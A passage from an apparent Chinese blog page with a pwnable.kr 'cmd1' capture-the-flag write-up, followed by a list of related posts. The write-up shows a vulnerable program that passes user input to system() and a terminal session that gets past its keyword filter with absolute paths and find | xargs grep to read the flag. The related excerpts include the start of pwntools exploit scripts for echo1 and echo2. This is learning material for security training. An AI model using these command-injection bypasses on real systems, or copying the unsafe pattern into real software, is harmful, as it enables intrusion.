【LINUX】pwnable.kr cmd1 writeup

[email protected]:~$ ls

cmd1  cmd1.c  flag

[email protected]:~$ cat cmd1.c

#include <stdio.h>

#include <string.h>

int filter(char* cmd){

int r=0;

r += strstr(cmd, "flag")!=0;

r += strstr(cmd, "sh")!=0;

r += strstr(cmd, "tmp")!=0;

return r;

}

int main(int argc, char* argv[], char** envp){

putenv("PATH=/fuckyouverymuch");

if(filter(argv[1])) return 0;

system( argv[1] );

return 0;

}

[email protected]:~$ ./cmd1 "ls"

sh: 1: ls: not found

[email protected]:~$ ./cmd1 "/bin/ls"

cmd1  cmd1.c  flag

[email protected]:~$ ./cmd1 "/usr/bin/find"

.

./cmd1

./.bash_history

/usr/bin/find: `./.bash_history‘: Permission denied

./flag

./cmd1.c

[email protected]:~$ ./cmd1 "/usr/bin/find | /usr/bin/xargs /bin/grep "m""

/usr/bin/find: `./.bash_history‘: Permission denied

Binary file ./cmd1 matches

/bin/grep: ./.bash_history: Permission denied

./flag:mommy now I get what PATH environment is for :)

./cmd1.c:int filter(char* cmd){

./cmd1.c: r += strstr(cmd, "flag")!=0;

./cmd1.c: r += strstr(cmd, "sh")!=0;

./cmd1.c: r += strstr(cmd, "tmp")!=0;

./cmd1.c:int main(int argc, char* argv[], char** envp){

./cmd1.c: putenv("PATH=/fuckyouverymuch");

./cmd1.c: system( argv[1] );

[email protected]:~$ logout

Connection to pwnable.kr closed.

时间: 2024-10-23 23:41:21

【LINUX】pwnable.kr cmd1 writeup的相关文章

【LINUX】pwnable.kr cmd2 writeup

试了一晚上终于试出来了....真心曲折,考察linux脚本. 里面需要注意的点如下: 1. Linux里面的sh bash是不一样的,在不同系统上的存在也有不同.sh是为Unix所设计,讲究精简,里面比dash少一些功能,导致调试脚本时很多错了不知道怎么改,一步一步试出来的: 2. 重点在于构造“/”这个东西 3. 到此Toodler's Bottle已经刷完了,我的教程也写到了Lesson 3,接下来的题目writeup很少,我自己做也比较困难,可能转Protostar训练了吧? 前面进展缓慢

【PWN】pwnable.kr echo1 writeup

#Exploit for [email protected] #@Windcarp 2015.07.23 from pwn import * #init context(arch = 'amd64', os = 'linux') local=False if local: p = process("./echo1") libc = ELF("/lib/x86_64-linux-gnu/libc-2.19.so") else: p = remote("pwn

【PWN】Pwnable.kr echo2 writeup

依旧是基本技巧的考察,shellcode的寻找着实费了一番周折,然后就是FSB和UAF漏洞的利用,很好的一题! #Exploit for [email protected] #@Windcarp 2015.07.23 from pwn import * #init context(arch = 'amd64', os = 'linux') local=False if local: p = process("./echo2") libc = ELF("/lib/x86_64-

【Linux】数据流重导向(前篇)

数据流重导向 (redirect) 由字面上的意思来看,好像就是将『数据给他传导到其他地方去』的样子? 没错-数据流重导向就是将某个命令运行后应该要出现在屏幕上的数据, 给他传输到其他的地方,例如文件或者是装置 (例如打印机之类的)!这玩意儿在 Linux 的文本模式底下可重要的! 尤其是如果我们想要将某些数据储存下来时,就更有用了! 1)什么是数据流重导向? 什么是数据流重导向啊?这得要由命令的运行结果谈起!一般来说,如果你要运行一个命令,通常他会是这样的: 我们运行一个命令的时候,这个命令可

【Linux】鸟哥的Linux私房菜基础学习篇整理(一)

最近,一直在写PPC的模拟器和汇编器,也在做设计.所以重新看了看<鸟哥的Linux私房菜>,还是有好多命令不太熟悉.就打算写几篇blog记下来. 1. nl [-bnw] filename:添加行号打印参数:-b:指定行号指定的方式,主要有两种: -b a:表示不论是否为空行,也同样列出行号(类似cat -n): -b t:如果有空行,空的那一行不要列出行号(默认值).-n:列出行号表示的方法,主要有三种: -n ln:行号在屏幕的最左方显示: -n rn:行号在自己字段的最右方显示,且不加0

【Linux】JDK+Eclipse 搭建C/C++开发环境

注:本文所提供的参考示例是在CentOS Linux环境下的安装,不保证适用于其他版本的Linux系统. ·    安装前的注意事项 编译源代码是需要对应的代码编译工具的,本文中安装的Eclipse只是一个编写代码的外壳,不能对代码进行编译工作,所以你的Linux系统应当安装了编译器,这样Eclipse在编译源代码的时候才可以调用到对应的编译器:小编安装了的GCC,也就是我的Eclipse使用g++/gcc 进行代码的编译工作.如果你还没安装GCC的话请参见: [Linux]Linux下GCC的

【Linux】将Oracle安装目录从根目录下迁移到逻辑卷

[Linux]将Oracle安装目录从根目录下迁移到逻辑卷 1.1  BLOG文档结构图 1.2  前言部分 1.2.1  导读和注意事项 各位技术爱好者,看完本文后,你可以掌握如下的技能,也可以学到一些其它你所不知道的知识,~O(∩_∩)O~: ① Linux逻辑卷的创建和管理(重点) 1.2.2  相关文章链接 linux逻辑卷管理:http://blog.itpub.net/26736162/viewspace-2124620/,这篇文章非常不错. 1.2.3  本文简介 由于Oracle

【linux】启动

原创,转载时请注明,谢谢.邮箱:[email protected],?地址:http://www.cnblogs.com/embedded-tzp ? 墨迹这么久,总算开始内核源代码分析了. 阶段1 阶段1大部分为汇编, 以程序启动到执行到start_kernel函数为第一阶段. 变量与文件的对应关系. THUMB: src\arch\arm\include\asm\unified.h head.S的很多定义在src\arch\arm\kernel\head-common.S struct pr

【Linux】创建Linux系统服务的方法

http://www.cnblogs.com/silverwings/archive/2010/08/02/1790801.html 使用这个做系统服务,反而导致超图服务的apache无法启动??? 该方法在Ret Hat Enterprise Linux Server 5.5上测试成功.首先需要编写系统服务启动脚本,脚本大致如下: #!/bin/bash # test.sh # chkconfig: 2345 20 81 # description: just for test EXEC_PA